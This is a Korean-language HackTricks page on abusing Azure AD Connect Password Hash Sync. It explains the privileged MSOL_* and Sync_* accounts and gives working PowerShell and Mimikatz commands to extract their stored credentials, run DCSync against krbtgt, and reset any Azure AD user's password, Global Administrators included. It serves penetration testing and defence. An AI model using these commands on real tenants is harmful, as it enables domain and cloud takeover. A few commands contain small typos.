Az - PHS - Password Hash Sync

Support HackTricks

Basic Information

From the docs: Password hash synchronization은 하이브리드 아이덴티티를 달성하기 위해 사용되는 로그인 방법 중 하나입니다. Azure AD Connect는 온프레미스 Active Directory 인스턴스에서 클라우드 기반 Azure AD 인스턴스로 사용자의 비밀번호 해시의 해시를 동기화합니다.

이는 온프레미스 AD를 Azure AD와 동기화하는 데 사용되는 가장 일반적인 방법입니다.

모든 사용자비밀번호 해시의 해시가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 평문 비밀번호원본 해시는 Azure AD로 전송되지 않습니다. 또한, 내장된 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 동기화되지 않습니다.

해시 동기화2분마다 발생합니다. 그러나 기본적으로 비밀번호 만료계정 만료는 Azure AD에서 동기화되지 않습니다. 따라서 온프레미스 비밀번호가 만료된(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 계속 Azure 리소스에 액세스할 수 있습니다.

온프레미스 사용자가 Azure 리소스에 액세스하려고 할 때, 인증은 Azure AD에서 이루어집니다.

PHSIdentity Protection 및 AAD Domain Services와 같은 기능에 필요합니다.

Pivoting

PHS가 구성되면 일부 특권 계정이 자동으로 생성됩니다:

  • MSOL_<installationID> 계정이 온프레미스 AD에 자동으로 생성됩니다. 이 계정은 Directory Synchronization Accounts 역할을 부여받으며 (자세한 내용은 문서 참조) 이는 온프레미스 AD에서 복제(DCSync) 권한을 가집니다.

  • Sync_<name of on-prem ADConnect Server>_installationID 계정이 Azure AD에 생성됩니다. 이 계정은 Azure AD에서 모든 사용자(동기화된 사용자 또는 클라우드 전용)의 비밀번호를 재설정할 수 있습니다.

이전의 두 특권 계정의 비밀번호는 Azure AD Connect가 설치된 서버의 SQL 서버저장됩니다. 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다. 데이터베이스는 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf에 위치해 있습니다.

하나의 테이블에서 구성을 추출할 수 있으며, 하나는 암호화되어 있습니다:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

암호화된 구성DPAPI로 암호화되어 있으며, 이는 온프레미스 AD의 MSOL_* 사용자와 AzureAD의 Sync_* 사용자의 비밀번호를 포함합니다. 따라서 이를 손상시키면 AD와 AzureAD로의 권한 상승이 가능합니다.

이 자격 증명이 어떻게 저장되고 해독되는지에 대한 전체 개요는 이 강연에서 확인할 수 있습니다.

Azure AD connect 서버 찾기

Azure AD connect가 설치된 서버가 도메인에 가입된 경우(문서에서 권장됨), 다음을 통해 찾을 수 있습니다:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_* 악용

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

You can also use adconnectdump to obtain these credentials.

Sync_* 악용

Sync_* 계정을 손상시키면 모든 사용자의 비밀번호를 재설정할 수 있습니다 (Global Administrators 포함).

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

클라우드 사용자들의 비밀번호만 수정하는 것도 가능합니다 (비록 예상치 못한 일이지만)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

이 사용자의 비밀번호를 덤프하는 것도 가능합니다.

다른 옵션으로는 서비스 주체에 특권 권한을 할당하는 것이 있으며, 이는 Sync 사용자가 권한을 가지고 있으며, 그런 다음 서비스 주체에 접근하여 privesc를 수행할 수 있습니다.

Seamless SSO

Seamless SSO를 PHS와 함께 사용하는 것이 가능하며, 이는 다른 악용에 취약합니다. 확인해보세요:

Az - Seamless SSO

References

HackTricks 지원하기

Last updated